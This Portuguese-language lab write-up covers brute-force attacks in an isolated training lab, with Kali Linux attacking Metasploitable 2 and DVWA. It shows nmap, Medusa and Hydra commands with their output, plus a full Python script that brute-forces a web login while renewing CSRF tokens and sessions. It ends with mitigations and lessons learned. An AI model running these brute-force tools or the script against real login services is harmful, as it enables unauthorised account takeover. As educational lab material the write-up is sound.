Simulação de Ataques de Força Bruta com Kali Linux e Medusa em Ambiente Controlado

Resumo

Este projeto tem como objetivo demonstrar, de forma prática e controlada, técnicas de auditoria de autenticação utilizando Kali Linux, Medusa, Hydra, Nmap e scripts personalizados em Python.

Os testes foram executados em um ambiente virtualizado composto por Kali Linux e Metasploitable 2, permitindo a avaliação de mecanismos de autenticação presentes em serviços FTP e aplicações Web vulneráveis, além da análise de cenários corporativos simulados envolvendo enumeração de usuários e password spraying.

Todo o experimento foi realizado exclusivamente em laboratório isolado e autorizado para fins educacionais.

Objetivos

- Configurar um laboratório seguro utilizando máquinas virtuais.
- Realizar descoberta de hosts e serviços.
- Executar testes de autenticação em serviços FTP.
- Simular ataques contra formulários Web vulneráveis.
- Entender as limitações de ferramentas automatizadas.
- Desenvolver soluções próprias para cenários específicos.
- Documentar vulnerabilidades e recomendações de mitigação.

Ambiente Utilizado

Virtualização

- Oracle VirtualBox

Máquina Atacante

- Kali Linux

Máquina Alvo

- Metasploitable 2

Ferramentas

- Nmap
- Medusa
- Hydra
- Python 3
- FTP
- SMBClient

Topologia da Rede

Rede de Laboratório (Host Only)

Equipamento	Endereço
Kali Linux	10.10.10.10
Metasploitable 2	10.10.10.30

Rede NAT

Utilizada para acesso externo e conectividade da máquina virtual.

Fase 1 – Validação de Conectividade

Teste realizado para confirmar a comunicação entre as máquinas:

```
┌──(kali㉿Kali)-[~]
└─$ ping -c 3 10.10.10.30
PING 10.10.10.30 (10.10.10.30) 56(84) bytes of data.
64 bytes from 10.10.10.30: icmp_seq=1 ttl=64 time=1.41 ms
64 bytes from 10.10.10.30: icmp_seq=2 ttl=64 time=1.46 ms
64 bytes from 10.10.10.30: icmp_seq=3 ttl=64 time=1.48 ms
--- 10.10.10.30 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2032ms
rtt min/avg/max/mdev = 1.407/1.446/1.478/0.029 ms
```

A comunicação entre Kali e Metasploitable foi estabelecida com sucesso.

Fase 2 – Enumeração de Serviços

Foi realizado reconhecimento inicial da superfície de ataque através do Nmap.

Comando:

```
┌──(kali㉿Kali)-[~]
└─$ nmap -sV 10.10.10.30
Starting Nmap 7.94 ( https://nmap.org ) at 2026-11-01 16:03 UTC
Failed to resolve "sV".
Nmap scan report for 10.10.10.30
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
```

```
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
```

A quantidade de serviços expostos demonstra um cenário propositalmente vulnerável para fins acadêmicos.

Fase 3 – Ataque de Força Bruta em FTP

Construção das Wordlists

Arquivo de usuários:

```
echo -e "user\nmsfadmin\nadmin\nroot" > users.txt
```

Arquivo de senhas:

```
echo -e "123456\npassword\nqwerty\nmsfadmin" > pass.txt
```

Execução do Medusa

```
┌──(kali㉿Kali)-[~]
└─$ medusa -h 10.10.10.30 -U users.txt -P pass.txt -M ftp -t 6
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: user (1 of 4, 0 complete) Password: 123456 (1 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: user (1 of 4, 0 complete) Password: password (2 of 4 complete)
```

```
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: user (1 of 4, 0 complete) Password: qwerty (3 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: user (1 of 4, 0 complete) Password: msfadmin (4 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: msfadmin (2 of 4, 1 complete) Password: 123456 (1 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: msfadmin (2 of 4, 1 complete) Password: password (2 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: msfadmin (2 of 4, 1 complete) Password: qwerty (3 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: msfadmin (2 of 4, 1 complete) Password: msfadmin (4 of 4 complete)
ACCOUNT FOUND: [ftp] Host: 10.10.10.30 User: msfadmin Password: msfadmin [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: admin (3 of 4, 2 complete) Password: 123456 (1 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: admin (3 of 4, 2 complete) Password: password (2 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: admin (3 of 4, 2 complete) Password: qwerty (3 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: admin (3 of 4, 2 complete) Password: msfadmin (4 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: root (4 of 4, 3 complete) Password: 123456 (1 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: root (4 of 4, 3 complete) Password: password (2 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: root (4 of 4, 3 complete) Password: qwerty (3 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.10.30 (1 of 1, 0 complete) User: root (4 of 4, 3 complete) Password: msfadmin (4 of 4 complete)
```

Validação Manual

Após a descoberta das credenciais, foi realizada autenticação diretamente via FTP.

```
┌──(kali㉿Kali)-[~]
└─$ ftp 10.10.10.30
Connected to 10.10.10.30.
220 (vsFTPd 2.3.4)
Name (10.10.10.30:kali): msfadmin
331 Please specify the password.
Password:
230 Login successful.
```

```
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

A autenticação foi confirmada com sucesso.

Fase 4 – Ataque em Formulário Web

Foi utilizado o DVWA (Damn Vulnerable Web Application) para simulação de autenticação Web.

Inicialmente foi realizada tentativa com Medusa utilizando o módulo web-form.

Entretanto, o servidor retornou repetidamente:

error code 302

Indicando redirecionamentos durante o processo de login.

```
┌──(kali㉿Kali)-[~]
└─$ medusa -h 10.6.6.13 -U users.txt -P pass.txt -M web-form \
  -m FORM:"/login.php" \
  -m FORM-DATA:"post?username=&password=&Login=Login" \
  -m DENY-SIGNAL:"Login failed" \
  -m CUSTOM-HEADER:"Cookie: security=low" \
  -t 6
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
<jmk@foofus.net>
ERROR: The answer was NOT successfully received, understood, and
accepted while trying user password: error code  302
ACCOUNT CHECK: [web-form] Host: 10.6.6.13 (1 of 1, 0 complete) User:
user (1 of 4, 1 complete) Password: password (1 of 4 complete)
ERROR: The answer was NOT successfully received, understood, and
accepted while trying user 123456: error code  302
ACCOUNT CHECK: [web-form] Host: 10.6.6.13 (1 of 1, 0 complete) User:
user (1 of 4, 1 complete) Password: 123456 (2 of 4 complete)
ERROR: The answer was NOT successfully received, understood, and
accepted while trying msfadmin 123456: error code  302
ACCOUNT CHECK: [web-form] Host: 10.6.6.13 (1 of 1, 0 complete) User:
msfadmin (2 of 4, 1 complete) Password: 123456 (1 of 4 complete)
ERROR: The answer was NOT successfully received, understood, and
accepted while trying msfadmin password: error code  302
ACCOUNT CHECK: [web-form] Host: 10.6.6.13 (1 of 1, 0 complete) User:
msfadmin (2 of 4, 1 complete) Password: password (2 of 4 complete)
ERROR: The answer was NOT successfully received, understood, and
accepted while trying user qwerty: error code  302
```

```
ACCOUNT CHECK: [web-form] Host: 10.6.6.13 (1 of 1, 0 complete) User:
user (1 of 4, 1 complete) Password: qwerty (3 of 4 complete)

ERROR: The answer was NOT successfully received, understood, and
accepted while trying user msfadmin: error code  302

ACCOUNT CHECK: [web-form] Host: 10.6.6.13 (1 of 1, 0 complete) User:
user (1 of 4, 1 complete) Password: msfadmin (4 of 4 complete)
```

Fase 5 – Avaliação com Hydra

Como alternativa, foi utilizada a ferramenta Hydra.

Embora o Hydra tenha apresentado múltiplos resultados positivos, verificou-se que a aplicação utilizava mecanismos adicionais de proteção relacionados à sessão HTTP e à validação de tokens.

Dessa forma, os resultados não puderam ser considerados confiáveis sem validação adicional.

```
┌──(kali㉿Kali)-[~]
└─$ hydra -L users.txt -P pass.txt 10.6.6.13 http-post-form \
  "/login.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie\:
security=low:F=Login failed"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do
not use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics
anyway).


Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-
11-01 18:24:08

[INFORMATION] escape sequence \: detected in module option, no
parameter verification is performed.

[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries
(l:4/p:4), ~1 try per task

[DATA] attacking http-post-
form://10.6.6.13:80/login.php:username=^USER^&password=^PASS^&Login=
Login:H=Cookie\: security=low:F=Login failed

[80][http-post-form] host: 10.6.6.13   login: user   password:
msfadmin

[80][http-post-form] host: 10.6.6.13   login: user   password:
123456

[80][http-post-form] host: 10.6.6.13   login: user   password:
qwerty

[80][http-post-form] host: 10.6.6.13   login: user   password:
password

[80][http-post-form] host: 10.6.6.13   login: msfadmin   password:
123456
```

```
[80][http-post-form] host: 10.6.6.13   login: msfadmin   password:
password
[80][http-post-form] host: 10.6.6.13   login: admin   password:
123456
[80][http-post-form] host: 10.6.6.13   login: msfadmin   password:
qwerty
[80][http-post-form] host: 10.6.6.13   login: msfadmin   password:
msfadmin
[80][http-post-form] host: 10.6.6.13   login: admin   password:
password
[80][http-post-form] host: 10.6.6.13   login: root   password:
password
[80][http-post-form] host: 10.6.6.13   login: admin   password:
qwerty
[80][http-post-form] host: 10.6.6.13   login: root   password:
123456
[80][http-post-form] host: 10.6.6.13   login: root   password:
qwerty
[80][http-post-form] host: 10.6.6.13   login: admin   password:
msfadmin
[80][http-post-form] host: 10.6.6.13   login: root   password:
msfadmin
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-
11-01 18:24:09
```

Fase 6 – Desenvolvimento de Solução em Python

Para compreender o comportamento da aplicação web e validar corretamente as credenciais, foi desenvolvido um script em Python.

Principais funções implementadas:

- Criação de sessões dinâmicas.
- Renovação automática do PHPSESSID.
- Captura do user_token.
- Envio correto dos parâmetros do formulário.
- Validação através do redirecionamento da aplicação.

A solução permitiu reproduzir fielmente o fluxo de autenticação do DVWA.

Abaixo o script pra analise da equipe técnica.

```
#Criando o arquivo
nano dvwa_bruteforce.py
# Codigo
#!/usr/bin/env python3
"""
Brute-force no formulario de login do DVWA, renovando o token CSRF
(user_token) e a sessao a cada tentativa.
Uso:
    python3 dvwa_bruteforce.py <host> <users.txt> <pass.txt>
Exemplo:
    python3 dvwa_bruteforce.py 10.6.6.13 users.txt pass.txt
"""
import sys
import re
import requests
def get_token_and_session(base_url, security="low"):
    """Pega um user_token novo e um PHPSESSID novo, ja com o nivel
de
    seguranca desejado fixado via cookie."""
    s = requests.Session()
    s.cookies.set("security", security)
    r = s.get(f"{base_url}/login.php", timeout=10)
    match = re.search(r"user_token'\s+value='([a-f0-9]+)'", r.text)
    if not match:
        raise RuntimeError("Nao encontrei o user_token na pagina de
login.")
    token = match.group(1)
    return s, token
def try_login(base_url, username, password, security="low"):
    """Faz uma tentativa de login completa (token + sessao novos) e
    retorna True se o login foi bem-sucedido."""
    session, token = get_token_and_session(base_url, security)
    data = {
        "username": username,
        "password": password,
        "Login": "Login",
        "user_token": token,
    }
    r = session.post(f"{base_url}/login.php", data=data, timeout=10,
                     allow_redirects=False)
    # Login bem-sucedido -> DVWA redireciona para index.php
    location = r.headers.get("Location", "")
    if location.strip("/") == "index.php":
        return True
    return False
def main():
    if len(sys.argv) != 4:
```

```
        print(__doc__)
        sys.exit(1)
    host, users_file, pass_file = sys.argv[1:4]
    base_url = f"http://{host}"

    with open(users_file) as f:
        users = [u.strip() for u in f if u.strip()]
    with open(pass_file) as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Alvo: {base_url}/login.php")
    print(f"[*] {len(users)} usuarios x {len(passwords)} senhas = "
          f"{len(users) * len(passwords)} tentativas\n")
    found = []
    for user in users:
        for pwd in passwords:
            try:
                ok = try_login(base_url, user, pwd)
            except Exception as e:
                print(f"[!] Erro testando {user}:{pwd} -> {e}")
                continue

            status = "VALIDO" if ok else "falhou"
            print(f"[{status}] {user} : {pwd}")

            if ok:
                found.append((user, pwd))

    print("\n=== Resultado ===")
    if found:
        for user, pwd in found:
            print(f"  {user} : {pwd}")
    else:
        print("  Nenhuma combinacao valida encontrada.")
if __name__ == "__main__":
    main()
```

Resultado da Validação Web

Execução:

```
┌──(kali㉿Kali)-[~]
└─$ python3 dvwa_bruteforce.py 10.6.6.13 users.txt pass.txt
[*] Alvo: http://10.6.6.13/login.php
[*] 4 usuarios x 4 senhas = 16 tentativas
[falhou] user : 123456
[falhou] user : password
[falhou] user : qwerty
```

```
[falhou] user : msfadmin
[falhou] msfadmin : 123456
[falhou] msfadmin : password
[falhou] msfadmin : qwerty
[falhou] msfadmin : msfadmin
[falhou] admin : 123456
[VALIDO] admin : password
[falhou] admin : qwerty
[falhou] admin : msfadmin
[falhou] root : 123456
[falhou] root : password
[falhou] root : qwerty
[falhou] root : msfadmin
=== Resultado ===
  admin : password
```

Ataque em Cadeia

O laboratório também explorou conceitos de:

- Enumeração SMB
- Password Spraying
- Correlação entre descoberta de usuários e autenticação

Esses cenários simulam situações frequentemente encontradas em ambientes corporativos mal configurados.

Vulnerabilidades Identificadas

FTP

- Credenciais previsíveis.
- Senhas fracas.
- Ausência de bloqueio após múltiplas tentativas.

Aplicação Web

- Uso de credenciais padrão.
- Dependência exclusiva de autenticação por senha.
- Exposição a automação quando os controles de sessão são compreendidos.

Ambiente Geral

- Diversos serviços desnecessariamente expostos.
- Grande superfície de ataque.
- Configurações propositalmente inseguras para treinamento.

Medidas de Mitigação

Controle de Senhas

- Utilizar senhas complexas.
- Implementar políticas de expiração.
- Evitar senhas padrão.

Proteção Contra Força Bruta

- Limitação de tentativas.
- CAPTCHA.
- MFA.
- Detecção de comportamento automatizado.

Serviços de Rede

- Reduzir exposição de portas.
- Desativar serviços não utilizados.
- Segmentar redes.

Monitoramento

- Registro centralizado de logs.
- Alertas de autenticação suspeita.
- Auditorias periódicas.

Aprendizados Obtidos

Durante o desenvolvimento do laboratório foi possível compreender:

- O funcionamento de ataques de força bruta em diferentes protocolos.
- A importância da enumeração inicial.
- As diferenças entre autenticação FTP e autenticação Web.
- O impacto de mecanismos de sessão e tokens CSRF.
- As limitações de ferramentas automatizadas.
- A necessidade de validação manual dos resultados encontrados.

Desafios Encontrados

1. ***Erro na Construção da Wordlist***

Durante a criação inicial da lista de usuários foi identificado um erro de digitação:
ms fadmin
A presença de um espaço em branco impediu a identificação correta das credenciais válidas durante a execução do Medusa.
Após a correção para:
msfadmin
foi possível localizar a credencial válida:
Usuário: msfadmin
Senha: msfadmin

Esse incidente reforçou a importância da validação prévia dos dados utilizados em processos automatizados de auditoria.

2. **Identificação da Topologia de Rede**

Durante a análise do ambiente observou-se que o Kali Linux possuía múltiplas interfaces conectadas simultaneamente:

```
eth0 -> Rede NAT
eth1 -> Rede Host-Only
```

Inicialmente houve dúvida sobre a existência de outros hosts na rede NAT do VirtualBox.

Foram utilizadas as ferramentas:

```
ip -br a
ip route
arp -a
ip neigh
nmap -sn
```

A investigação permitiu identificar:

```
10.0.2.2 -> Gateway NAT
10.0.2.3 -> DNS NAT
10.0.2.4 -> Serviço interno da virtualização
10.0.2.15 -> Kali Linux
10.10.10.30 -> Metasploitable 2
```

O exercício demonstrou a importância de compreender a arquitetura de rede antes da realização de testes de segurança.

3. **Limitações do Medusa em Aplicações Web**

Durante os testes contra o DVWA, o Medusa apresentou repetidamente o retorno:
error code 302
comportamento indicava que o servidor estava utilizando redirecionamentos HTTP durante o fluxo de autenticação.

Foi constatado que o processo de login dependia não apenas das credenciais informadas, mas também de:

- Sessões válidas.
- Cookies específicos.
- Tokens CSRF.
- Controle de redirecionamento.

Esse cenário demonstrou uma limitação da abordagem utilizada inicialmente.

4. **Resultados Inconsistentes com Hydra**

Como alternativa, foi utilizado o Hydra para automação do processo de autenticação. Entretanto, a ferramenta retornou múltiplos resultados positivos para combinações claramente inválidas:

```
16 valid passwords found
```

A validação manual demonstrou que tais resultados eram falsos positivos.

A ocorrência reforçou um princípio importante em testes de segurança:
Resultados automatizados devem sempre ser validados manualmente antes de serem considerados evidências confiáveis.

5. **Necessidade de Compreensão do Fluxo da Aplicação**

Os desafios encontrados durante a autenticação no DVWA demonstraram que conhecer o funcionamento interno da aplicação é tão importante quanto utilizar ferramentas de auditoria.

Foi necessário compreender:

- Criação de sessões PHP.
- Renovação do PHPSESSID.
- Funcionamento do token CSRF.
- Regras de redirecionamento.
- Estrutura do formulário de autenticação.

Essa análise levou ao desenvolvimento de uma solução personalizada em Python capaz de reproduzir corretamente o comportamento esperado pela aplicação.

Considerações Finais do Projeto

Este laboratório permitiu observar que ataques de força bruta não dependem exclusivamente da utilização de ferramentas como Medusa ou Hydra. O sucesso da atividade esteve diretamente relacionado à capacidade de:

- Mapear a infraestrutura de rede.
- Identificar serviços expostos.
- Interpretar corretamente os resultados obtidos.
- Validar manualmente evidências encontradas.
- Compreender mecanismos de autenticação e gerenciamento de sessão.
- Adaptar a metodologia quando as ferramentas automatizadas apresentaram limitações.

O desenvolvimento do script personalizado em Python demonstrou a importância de compreender os protocolos e aplicações além do uso das ferramentas prontas, permitindo reproduzir fielmente o fluxo de autenticação do DVWA e validar os resultados obtidos durante os testes.

Conclusão

O laboratório demonstrou de forma prática como credenciais fracas e configurações inadequadas podem comprometer serviços expostos.

Além da utilização de ferramentas tradicionais como Nmap, Medusa e Hydra, o projeto evidenciou a importância de compreender o funcionamento interno das aplicações para validar resultados e interpretar corretamente os mecanismos de segurança implementados.

A atividade proporcionou experiência prática em reconhecimento, enumeração, autenticação e análise de vulnerabilidades dentro de um ambiente controlado e seguro para fins educacionais.